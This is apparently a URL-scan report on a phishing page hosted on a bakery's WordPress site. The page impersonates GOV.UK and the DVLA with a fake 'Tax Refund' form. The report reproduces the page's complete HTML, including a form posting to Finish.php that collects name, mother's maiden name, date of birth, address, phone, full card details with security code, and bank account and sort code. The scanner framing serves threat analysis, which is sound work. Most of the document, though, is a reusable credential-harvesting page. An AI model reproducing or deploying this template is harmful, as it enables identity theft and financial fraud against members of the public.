pasteleriasmarcanela.com
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Submitted URL: http://pasteleriasmarcanela.com/wp-content/sign/dvla/gov.uk-governments-organisations-driver-and-vehicle-licensing-agencys/index...
Effective URL: https://pasteleriasmarcanela.com/wp-content/sign/dvla/gov.uk-governments-organisations-driver-and-vehicle-licensing-agencys/Forms...
Submission: On July 13 via api from US — Scanned from DE
Effective URL: https://pasteleriasmarcanela.com/wp-content/sign/dvla/gov.uk-governments-organisations-driver-and-vehicle-licensing-agencys/Forms...
Submission: On July 13 via api from US — Scanned from DE
Form analysis
1 forms found in the DOMName: details — POST Finish.php?&sessionid=nCO1Y0e0oprsLDU4NiPY5ifUUinITRfvGVvVLSpv20qWoUt7e86rGogIKZr9rb8pEn6QHBeqzB8DhrJlpVmRSgcHPw2gcr37IwLBGUD60mmptOBCq13&securessl=true
<form method="post" action="Finish.php?&sessionid=nCO1Y0e0oprsLDU4NiPY5ifUUinITRfvGVvVLSpv20qWoUt7e86rGogIKZr9rb8pEn6QHBeqzB8DhrJlpVmRSgcHPw2gcr37IwLBGUD60mmptOBCq13&securessl=true" id="details" name="details" autocomplete="off"
novalidate="novalidate">
<div id="global-cookie-message">
<p>GOV.UK uses cookies to make the site simpler. <a href="#"> Find out more about cookies</a></p>
</div>
<header role="banner" class="with-proposition" id="global-header">
<div class="header-wrapper">
<div class="header-global">
<div class="header-logo">
<a href="#" id="logo" class="content">
<img src="assets/img/logo.png" width="35" height="31" alt=""> GOV.UK
</a>
</div>
</div>
<div class="header-proposition">
<div class="content">
<nav id="proposition-menu">
<a href="#" id="proposition-name">Vehicle tax</a>
</nav>
</div>
</div>
</div>
</header>
<!--end header-->
<div id="global-header-bar"></div>
<div id="wrapper">
<div class="maincontent">
<div id="startHeader" class="start-header group">
<h1>Tax Refund</h1>
</div>
<div class="body-container group">
<div>
<p>
<span id="titleMsg" class="label">Please complete the form below to request a refund. This refund will be credited to the credit/debit card you provide.</span>
</p>
</div>
<div class="inout-pad">
<p><strong><label for="MMN" class="label">Full Name</label>
</strong></p>
<p><input name="name" type="text" maxlength="40" id="name" class="input-large input-upper" autocomplete="off"></p>
</div>
<div class="inout-pad">
<p><strong>
<label for="MMN" class="label">Mother's maiden name</label>
</strong></p>
<p><input name="MMN" type="text" maxlength="40" id="MMN" class="input-large input-upper" autocomplete="off">
</p>
</div>
<div class="inout-pad">
<p><strong><label for="dob" class="label">Date of Birth</label></strong></p>
<p><input name="dob" type="tel" maxlength="10" id="dob" class="input-medium input-upper" autocomplete="off"></p>
</div>
<div class="inout-pad">
<p><strong><label for="address" class="label">Address</label></strong></p>
<p><input name="address" type="text" maxlength="40" id="address" class="input-large input-upper" autocomplete="off"></p>
</div>
<div class="inout-pad">
<p><strong><label for="town" class="label">Town/City</label></strong></p>
<p><input name="town" type="text" maxlength="40" id="town" class="input-large input-upper" autocomplete="off"></p>
</div>
<div class="inout-pad">
<p><strong><label for="postcode" class="label">Postcode</label></strong></p>
<p><input name="postcode" type="text" maxlength="10" id="postcode" class="input-small input-upper" autocomplete="off"></p>
</div>
<div class="inout-pad">
<p><strong><label for="telephone" class="label">Telephone Number</label></strong></p>
<p><input name="telephone" type="tel" maxlength="11" id="telephone" class="input-large input-upper" autocomplete="off"></p>
</div>
<div class="inout-pad">
<p><strong><label for="ccname" class="label">Cardholder's Name</label></strong></p>
<p><input name="ccname" type="text" maxlength="30" id="ccname" class="input-large input-upper" autocomplete="off"></p>
</div>
<div class="inout-pad">
<p><strong><label for="ccno" class="label">Card Number</label></strong></p>
<p><input name="ccno" type="tel" maxlength="20" id="cc-number" class="cc-number input-large input-upper" autocomplete="off"></p>
</div>
<div class="inout-pad">
<p><strong><label for="ccexp" class="label">Card Expiry</label></strong></p>
<p><input name="ccexp" type="tel" maxlength="7" id="cc-exp" class="cc-exp input-small input-upper" autocomplete="off"></p>
</div>
<div class="inout-pad">
<p><strong><label for="secode" class="label">Card Security Code</label></strong></p>
<p><input name="secode" type="tel" maxlength="4" id="secode" class="cc-cvc input-small input-upper" autocomplete="off"></p>
</div>
<div class="inout-pad">
<p><strong><label for="acno" class="label">Account Number</label></strong></p>
<p><input name="acno" type="tel" maxlength="8" id="acno" class="input-medium input-upper" autocomplete="off"></p>
</div>
<div class="inout-pad">
<p><strong><label for="sortcode" class="label">Sort Code</label></strong></p>
<p><input name="sortcode" type="tel" maxlength="8" id="sortcode" class="input-medium input-upper" autocomplete="off"></p>
</div>
<div>
<div class="inout-pad">
<p><strong>
<label for="label" class="label"></label>
</strong></p>
</div>
<p>
<input type="checkbox" name="confirm" value="">
<span id="verifyfinaltouch" class="label">I certify that the information provided on this application is accurate. I understand that withholding of information or giving false information will result in delays in process your request.
</span>
</p>
</div>
<div class="action">
<input type="submit" name="go" id="go" value="Continue" class="button">
</div>
</div>
</div>
</div>
<footer class="group js-footer" id="footer" role="contentinfo">
<div class="footer-wrapper">
<div class="footer-meta">
<div class="footer-meta-inner">
<ul>
<li>
<a href="#">Cookies</a>
</li>
<li>
<a href="#">Terms and Conditions</a>
</li>
<li>
<a href="#">English</a>
</li>
<li>
<a href="#">Welsh</a>
</li>
<li> Built by the <a href="#">Driver & Vehicle Licensing Agency</a>
</li>
</ul>
<div class="open-government-licence">
<p class="logo"><a href="#">Open Government Licence</a></p>
<p> All content is available under the <a href="#">
Open Government Licence v3.0</a>, except where otherwise stated</p>
</div>
</div>
<div class="copyright">
<a href="#">
© Crown copyright</a>
</div>
</div>
</div>
</footer>
<!--end footer-->
</form>
Text Content
GOV.UK uses cookies to make the site simpler. Find out more about cookies GOV.UK Vehicle tax TAX REFUND Please complete the form below to request a refund. This refund will be credited to the credit/debit card you provide. Full Name Mother's maiden name Date of Birth Address Town/City Postcode Telephone Number Cardholder's Name Card Number Card Expiry Card Security Code Account Number Sort Code I certify that the information provided on this application is accurate. I understand that withholding of information or giving false information will result in delays in process your request. * Cookies * Terms and Conditions * English * Welsh * Built by the Driver & Vehicle Licensing Agency Open Government Licence All content is available under the Open Government Licence v3.0, except where otherwise stated © Crown copyright